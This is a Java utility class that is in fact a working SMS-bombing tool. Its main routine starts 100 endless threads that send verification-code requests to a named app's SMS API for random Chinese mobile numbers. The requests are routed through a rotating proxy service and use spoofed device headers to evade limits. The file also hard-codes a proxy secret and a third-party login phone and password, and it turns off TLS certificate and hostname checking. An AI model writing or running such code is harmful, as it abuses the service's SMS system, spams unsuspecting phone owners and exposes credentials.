package com.jbp.utils;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.google.gson.Gson;
import org.apache.commons.lang.StringUtils;
import org.apache.http.*;
import org.apache.http.client.HttpClient;
import org.apache.http.client.config.RequestConfig;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.client.methods.HttpUriRequest;
import org.apache.http.conn.ClientConnectionManager;
import org.apache.http.conn.scheme.Scheme;
import org.apache.http.conn.scheme.SchemeRegistry;
import org.apache.http.conn.ssl.SSLConnectionSocketFactory;
import org.apache.http.conn.ssl.SSLSocketFactory;
import org.apache.http.conn.ssl.TrustStrategy;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.ssl.SSLContextBuilder;
import org.apache.http.util.EntityUtils;

import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.security.KeyManagementException;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.*;

public class ProtectUtil {
    //old.oldapi.wzh66.cn:8443/index.php/Api/Languageroom/bannerlist
    //old.pyapi.wzh66.cn:8443 45.117.11.27
    //www.wzh66.cn/images/logo1.png //图片
    // https://www.wzh66.cn/gift/20210705/49532eee20184091beff79ab0259d845.png
    // https://old.newapi.wzh66.cn:8443/api/v1/sendsms  45.117.11.27

    static String[] mobilePrexs = {"134","135","136","137","138","139","147","148","150","151","152","157","158","159","172","178","182","183","184","187","188","195","198",
            "130","131","132","145","146","155","156","166","167","171","175","176","185","186",
            "133","149","153","173","174","177","180","181","189","191","199"};

    static int t=0;
    static  String hos = "forward.xdaili.cn";
//    static  String hos = "183.47.138.80";
//static int port = 8888;
static int port = 80;
//static  String hos = "47.101.44.122";
//static int port = 9999;
//static  String hos = "58.22.177.22";

    public static void main(String[] args) {

//        testfish();
//        sendMsg();
        ganhuo();
    }

    public static void ganhuo(){
        for (int i = 0; i < 100; i++) {
            new Thread(){
                @Override
                public void run() {
                    while (true) {
                        if(sendMsg(hos, port+"")) {
                            t++;
                            System.out.println(t);
                        }
                        /*try {
                            Thread.sleep(1000);
                        } catch (InterruptedException e) {
                        }*/
                    }
                }
            }.start();
            try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
            }
        }
    }

    public static boolean sendMsg(String proxyHost, String proxyPort)  {
        String mobile = getMobile();

        String url = "https://old.newapi.wzh66.cn:8443/api/v1/sendsms";
        Map<String, String> head = new HashMap<>();
        head.put("accept","text/javascript,application/json,text/json");
        head.put("channel","iOS");
        head.put("device", "MuMu");
        head.put("deviceid", getDevice());
        head.put("id", "com.xiao.bai");
        head.put("idfa", "unknown");
        head.put("platform", "iOS,6.0.1");
        head.put("version", "1.0");
        head.put("source", "dragon");
        head.put("simulator", "false");
        head.put("edition", "v2");
        head.put("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8");
        head.put("Proxy-Authorization", authHeader());
        head.put("version", "2.0");
        head.put("User-Agent", "okhttp/3.11.0");

        Map<String, String> body = new HashMap<>();
        body.put("phone", mobile);
        body.put("type", "1");
        body.put("version", "6.0.1");

//        System.out.println("11");
        try {
            HttpResponse httpResponse = doPost(url, "", "", head, null, body, proxyHost, proxyPort);
            String result = EntityUtils.toString(httpResponse.getEntity(), "utf-8");
            System.out.println(result);
            JSONObject object = JSON.parseObject(result);
            if (object.getInteger("code")==200 && "验证码发送成功".equalsIgnoreCase(object.getString("desc"))) {
                return true;
            } else {
                System.out.println(object.getString("desc"));
            }
            System.out.println(result);
        } catch (Exception e) {
//            e.printStackTrace();
//            System.out.println(e.getMessage());
        }

        return false;
    }

    public static String authHeader(){
        String orderno = "ZF2021710664703IOS0";
        String secret = "076d0713b1774f739adf2465e6043df3";
        int timestamp = (int) (new Date().getTime()/1000);
        //拼装签名字符串
        String planText = String.format("orderno=%s,secret=%s,timestamp=%d", orderno, secret, timestamp);

        //计算签名
        String sign = org.apache.commons.codec.digest.DigestUtils.md5Hex(planText).toUpperCase();

        //拼装请求头Proxy-Authorization的值
        String authHeader = String.format("sign=%s&orderno=%s&timestamp=%d", sign, orderno, timestamp);
        return authHeader;
    }

    static void testfish(){
        String mobile = "18610872234";
        String pass = "a123456";
        int uid=1000187251;

//        String url = "http://fishapi.huanxiongchat.com/login";
        String url = "http://fishapi.huanxiongchat.com/login";
        Map<String, Object> map = new HashMap<>();
        map.put("mobile","18610872234");
        map.put("password","a123456");
        map.put("type","pass");
        map.put("device", getDevice());
//        head.put("Proxy-Authorization", authHeader());

        String result = doPostJson(map, null, url);
        System.out.println(result);
    }
    private static String getMobile() {
        String mobile = mobilePrexs[new Random().nextInt(mobilePrexs.length)];
        for (int i = 0; i < 8; i++) {
            mobile+= new Random().nextInt(10);
        }
        return mobile;
    }

    private static String getDevice() {
        return UUID.randomUUID().toString();
    }

    public static HttpResponse doPost(String host, String path, String method,
                                      Map<String, String> headers,
                                      Map<String, String> querys,
                                      Map<String, String> bodys,
                                      String proxyHost, String proxyPort)
            throws Exception {
//        HttpClient httpClient = wrapClient(host);
        CloseableHttpClient buildSSLCloseableHttpClient = buildSSLCloseableHttpClient();
        
        HttpClient httpClient = HttpClients.custom().build();;

        HttpPost request = new HttpPost(buildUrl(host, path, querys));
        request.setConfig(RequestConfig.custom().setConnectTimeout(1000).setConnectionRequestTimeout(1000).setSocketTimeout(1000)
                .setProxy(new HttpHost(proxyHost, Integer.parseInt(proxyPort)))
                .build());
        for (Map.Entry<String, String> e : headers.entrySet()) {
            request.addHeader(e.getKey(), e.getValue());
        }

        if (bodys != null) {
            List<NameValuePair> nameValuePairList = new ArrayList<NameValuePair>();

            for (String key : bodys.keySet()) {
                nameValuePairList.add(new BasicNameValuePair(key, bodys.get(key)));
            }
            UrlEncodedFormEntity formEntity = new UrlEncodedFormEntity(nameValuePairList, "utf-8");
            formEntity.setContentType("application/x-www-form-urlencoded; charset=UTF-8");
            request.setEntity(formEntity);
        }

        CloseableHttpResponse response = buildSSLCloseableHttpClient.execute(request);

        //4.获取响应对象中的响应码
        StatusLine statusLine = response.getStatusLine();//获取请求对象中的响应行对象
        int responseCode = statusLine.getStatusCode();//从状态行中获取状态码


//        return httpClient.execute(request);
        return response;
    }

    private static CloseableHttpClient buildSSLCloseableHttpClient() throws Exception {
        SSLContext sslContext = new SSLContextBuilder().loadTrustMaterial(null,
                new TrustStrategy() {
                    // 信任所有
                    @Override
                    public boolean isTrusted(X509Certificate[] chain,
                                             String authType) throws CertificateException {
                        return true;
                    }
                }).build();
        // ALLOW_ALL_HOSTNAME_VERIFIER:这个主机名验证器基本上是关闭主机名验证的,实现的是一个空操作，并且不会抛出javax.net.ssl.SSLException异常。
        SSLConnectionSocketFactory sslsf = new SSLConnectionSocketFactory(
                sslContext, new String[] { "TLSv1" }, null,
                SSLConnectionSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
        return HttpClients.custom().setSSLSocketFactory(sslsf).build();
    }

    public static String doPostJson(final Map<String, Object> map, final Map<String, Object> headerMap, final String url) {
        CloseableHttpClient httpClient = null;
        HttpPost httpPost = null;
        String result = null;
        CloseableHttpResponse response = null;
        boolean hasError = false;
        //do {
        hasError = false;
        Label_0357: {
            try {
                httpClient = HttpClients.custom().build();
                httpPost = new HttpPost(url);
                httpPost.setConfig(RequestConfig.custom().setConnectTimeout(3000).setConnectionRequestTimeout(3000).setSocketTimeout(3000)
                        .setProxy(new HttpHost(hos,port))
                        .build());
                final List<NameValuePair> list = new ArrayList<NameValuePair>();
                final StringEntity entity = new StringEntity(JSON.toJSONString(map), "utf-8");
                entity.setContentEncoding("UTF-8");
                entity.setContentType("application/json");
                httpPost.setEntity(entity);
                if (headerMap != null && !headerMap.isEmpty()) {
                    for (final Map.Entry<String, Object> m : headerMap.entrySet()) {
                        httpPost.setHeader(m.getKey(), m.getValue().toString());
                    }
                }

                response = httpClient.execute((HttpUriRequest)httpPost);
                final int statusCode = response.getStatusLine().getStatusCode();
                if (response == null) {
                    break Label_0357;
                }
                final HttpEntity resEntity = response.getEntity();
                if (resEntity != null) {
                    result = EntityUtils.toString(resEntity, "utf-8");
                }
            }
            catch (NoHttpResponseException ex) {
                ex.printStackTrace();
                hasError = true;
            }
            catch (Exception ex2) {
                ex2.printStackTrace();
                hasError = true;
            }
            finally {
                if (response != null) {
                    try {
                        response.close();
                    }
                    catch (IOException ex3) {}
                }
                if (httpClient != null) {
                    try {
                        httpClient.close();
                    }
                    catch (IOException ex4) {}
                }
            }
        }
        if (response != null) {
            try {
                response.close();
            }
            catch (IOException ex5) {}
        }
        if (httpClient != null) {
            try {
                httpClient.close();
            }
            catch (IOException ex6) {

            }
        }
        // } while (hasError);
        return result;
    }

    public static HttpResponse doPost(String host, String path, String method,
                                      Map<String, String> headers,
                                      Map<String, String> querys,
                                      String body)
            throws Exception {
        HttpClient httpClient = wrapClient(host);

        HttpPost request = new HttpPost(buildUrl(host, path, querys));
        request.setConfig(RequestConfig.custom().setConnectTimeout(30000).setConnectionRequestTimeout(60000).setSocketTimeout(60000).build());
        for (Map.Entry<String, String> e : headers.entrySet()) {
            request.addHeader(e.getKey(), e.getValue());
        }

        if (StringUtils.isNotBlank(body)) {
            request.setEntity(new StringEntity(body, "utf-8"));
        }

        return httpClient.execute(request);
    }

    public static HttpResponse doGet(String host, String path, String method,
                                     Map<String, String> headers,
                                     Map<String, String> querys)
            throws Exception {
        HttpClient httpClient = wrapClient(host);

        HttpGet request = new HttpGet(buildUrl(host, path, querys));
        request.setConfig(RequestConfig.custom().setConnectTimeout(10000).setConnectionRequestTimeout(10000).setSocketTimeout(10000).build());
        for (Map.Entry<String, String> e : headers.entrySet()) {
            request.addHeader(e.getKey(), e.getValue());
        }

        return httpClient.execute(request);
    }

    private static String buildUrl(String host, String path, Map<String, String> querys) throws UnsupportedEncodingException {
        StringBuilder sbUrl = new StringBuilder();
        sbUrl.append(host);
        if (!StringUtils.isBlank(path)) {
            sbUrl.append(path);
        }
        if (null != querys) {
            StringBuilder sbQuery = new StringBuilder();
            for (Map.Entry<String, String> query : querys.entrySet()) {
                if (0 < sbQuery.length()) {
                    sbQuery.append("&");
                }
                if (StringUtils.isBlank(query.getKey()) && !StringUtils.isBlank(query.getValue())) {
                    sbQuery.append(query.getValue());
                }
                if (!StringUtils.isBlank(query.getKey())) {
                    sbQuery.append(query.getKey());
                    if (!StringUtils.isBlank(query.getValue())) {
                        sbQuery.append("=");
                        sbQuery.append(URLEncoder.encode(query.getValue(), "utf-8"));
                    }
                }
            }
            if (0 < sbQuery.length()) {
                sbUrl.append("?").append(sbQuery);
            }
        }

        return sbUrl.toString();
    }

    private static HttpClient wrapClient(String host) {
        HttpClient httpClient = new DefaultHttpClient();
        if (host.startsWith("https://")) {
            sslClient(httpClient);
        }

        return httpClient;
    }

    private static void sslClient(HttpClient httpClient) {
        /*try {
            SSLContext ctx = SSLContext.getInstance("TLS");
            X509TrustManager tm = new X509TrustManager() {
                public X509Certificate[] getAcceptedIssuers() {
                    return null;
                }
                public void checkClientTrusted(X509Certificate[] xcs, String str) {

                }
                public void checkServerTrusted(X509Certificate[] xcs, String str) {

                }
            };
            ctx.init(null, new TrustManager[] { tm }, null);
            SSLSocketFactory ssf = new SSLSocketFactory(ctx);
            ssf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
            ClientConnectionManager ccm = httpClient.getConnectionManager();
            SchemeRegistry registry = ccm.getSchemeRegistry();
            registry.register(new Scheme("https", 443, ssf));
        } catch (KeyManagementException ex) {
            throw new RuntimeException(ex);
        } catch (NoSuchAlgorithmException ex) {
            throw new RuntimeException(ex);
        }*/
    }


}
